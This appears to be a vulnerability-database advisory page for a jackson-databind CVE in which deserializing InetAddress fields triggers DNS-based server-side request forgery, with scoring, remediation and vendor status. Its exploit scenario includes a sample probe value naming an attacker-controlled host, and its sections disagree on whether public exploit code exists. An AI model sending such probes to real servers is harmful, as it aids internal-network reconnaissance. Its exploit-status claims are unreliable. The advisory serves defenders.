Skip to main content

jackson-databind CVE-2026-77310

| EUVDEUVD-2026-65088 MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-08-24 GitHub_M GHSA-vvgp-rfg2-7rr6
5.3
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send crafted JSON with attacker-controlled hostname string
  2. Delivery
    Jackson deserializer invokes InetAddress.getByName() on raw token
  3. Exploit
    Server issues outbound DNS resolution
  4. Execution
    Attacker observes query at controlled DNS resolver
  5. Persist
    Enumerate internal hostnames via repeated probes
  6. Impact
    Map internal network topology

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target application deserializes attacker-controlled JSON into a Java class that contains at least one field typed as java.net.InetAddress (or a subtype). The endpoint accepting the JSON must be network-accessible to the attacker; the CVSS vector PR:N confirms no authentication or session is required. No special server configuration or non-default feature flag is needed - the vulnerability is in the default deserialization path. Exploitation is bounded: the attacker can only trigger DNS queries and observe them externally; there is no mechanism for reading local files, executing code, or affecting integrity or availability. Applications that use jackson-databind exclusively for types other than InetAddress are not exposed, regardless of how they configure the ObjectMapper.

Impact

The CVSS 5.3 Medium score (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) accurately reflects the bounded but real-world impact: network-reachable, zero-authentication exploitation limited to partial confidentiality loss through DNS-based information leakage. No EPSS data was supplied, and the vulnerability carries no CISA KEV listing and no known public exploit, which is consistent with the moderate score. The practical threat is DNS-based SSRF: an attacker observing a controlled resolver can enumerate internal hostnames, discover segmented infrastructure, and fingerprint internal naming conventions - intelligence useful in multi-stage attacks. While no integrity or availability impact applies, the ubiquity of jackson-databind means the aggregate exposure surface is exceptionally large; virtually any internet-facing Java REST API deserializing JSON could be affected if its data model uses InetAddress fields. The absence of authentication requirements (PR:N, AC:L) means no credential compromise or insider access is needed. The limiting factor - that the target object model must actually contain InetAddress-typed fields - is an application-design dependency that is not universally present, which is the primary reason this does not score higher.

Exploit ScenarioDerived

An attacker submits a JSON request body to any endpoint processed by a vulnerable jackson-databind version where the target data class includes a field of type java.net.InetAddress, setting that field's value to a hostname under the attacker's control (e.g., "remoteHost": "attacker-probe.evil.example.com"). The library's FromStringDeserializer immediately calls InetAddress.getByName() on parsing, causing the server to issue an outbound DNS query that the attacker observes on their resolver, confirming the server's IP and enabling iterative enumeration of internal hostnames by probing RFC-1918 reverse-DNS names or internal naming patterns.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 24, 2026

DNS-based server-side request forgery in jackson-databind exposes any Java application that deserializes user-supplied JSON into objects containing java.net.InetAddress-typed fields, causing the library to perform unsolicited outbound DNS lookups against attacker-controlled hostnames. Affected across all major release lines from 2.x through 3.x (com.fasterxml and tools.jackson.core artifact groups), the flaw allows unauthenticated remote attackers to enumerate internal hostnames and map internal network topology via DNS side-channels. No active exploitation or public exploit code has been identified; vendor patches are available across all affected release lines.

RemediationAI

Upgrade to a fixed release on your current release line: com.fasterxml.jackson.core:jackson-databind 2.18.9, 2.21.5, or 2.22.1 (for 2.x users), or tools.jackson.core:jackson-databind 3.1.5 or 3.2.1 (for 3.x users), as documented in the vendor advisory at https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-vvgp-rfg2-7rr6. If immediate patching is not feasible, apply egress firewall rules on application servers to block unexpected outbound DNS queries - this prevents the attacker from observing DNS lookups but does not eliminate the code path itself. As a code-level workaround, audit data models for fields typed as java.net.InetAddress and replace them with plain String fields, deferring resolution to a validated, controlled call site; this removes the attack surface without requiring a library upgrade, though it requires application code changes. Note that disabling entire deserialization of InetAddress is not natively configurable in jackson-databind without patching.

Affected VersionsENISA

tools.jackson.core:jackson-databind 3.0.0, < 3.1.5
com.fasterxml.jackson.core:jackson-databind 2.22.0, < 2.22.1
tools.jackson.core:jackson-databind 3.2.0, < 3.2.1
com.fasterxml.jackson.core:jackson-databind 2.19.0, < 2.21.5
com.fasterxml.jackson.core:jackson-databind 2.0.0, < 2.18.9

Affected Packages

maven com.fasterxml.jackson.core:jackson-databind fix: 2.18.9, 2.21.5, 2.22.1
maven tools.jackson.core:jackson-databind fix: 3.1.5, 3.2.1
euvd com_fasterxml_jackson_core_jackson_databind_2_0_0 fix: 2.18.9
euvd com_fasterxml_jackson_core_jackson_databind_2_19_0 fix: 2.21.5
euvd com_fasterxml_jackson_core_jackson_databind_2_22_0 fix: 2.22.1
euvd tools_jackson_core_jackson_databind_3_0_0 fix: 3.1.5
euvd tools_jackson_core_jackson_databind_3_2_0 fix: 3.2.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 7 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

jackson-databind is the general-purpose data-binding and tree-model component of the Jackson Data Processor - the dominant JSON serialization library in the Java/JVM ecosystem, present in virtually all Spring, Quarkus, Dropwizard, and Jakarta EE applications. The root cause (CWE-918, SSRF) resides in FromStringDeserializer.Std._deserialize(): its java.net.InetAddress branch unconditionally calls InetAddress.getByName() on the raw string token from the JSON input before any validation or sanitization. This triggers an eager DNS lookup at parse time, before business logic can inspect or reject the value. The affected CPEs are cpe:2.3:a:fasterxml:com.fasterxml.jackson.core:jackson-databind (2.x artifact) and cpe:2.3:a:fasterxml:tools.jackson.core:jackson-databind (3.x artifact). The attack does not require polymorphic type handling or gadget chains - it targets the plain string-to-InetAddress deserialization path present in any data model that uses that type.

Know when Com Fasterxml Jackson Core gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.3 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
vuln.today AI 5.3 MEDIUM

Network-accessible deserialization with no authentication needed; impact confined to DNS-based information leakage with no integrity or availability consequence.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM
Red Hat 5.3 MEDIUM

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

2
Patch available
Aug 24, 2026 - 20:01 EUVD
CVE Published
Aug 24, 2026 - 19:24 cve.org
MEDIUM 5.3

DescriptionCVE.org

jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. Prior to versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1 on their respective release lines, the java.net.InetAddress branch of FromStringDeserializer.Std._deserialize() calls InetAddress.getByName() on attacker-controlled input, causing eager DNS resolution during deserialization and enabling DNS-based server-side request forgery and internal-host enumeration. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 286 maven packages depend on com.fasterxml.jackson.core:jackson-databind (50 direct, 238 indirect)
  • 378 maven packages depend on tools.jackson.core:jackson-databind (107 direct, 271 indirect)

Ecosystem-wide dependent count for version 2.0.0 and other introduced versions.

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Prevalence
Ubiquitous
dominant JSON library across virtually all Java/JVM applications
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
High
Technical Impact
Partial

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise Module for Basesystem 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Server 16.0 Affected
SUSE Linux Enterprise Server 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy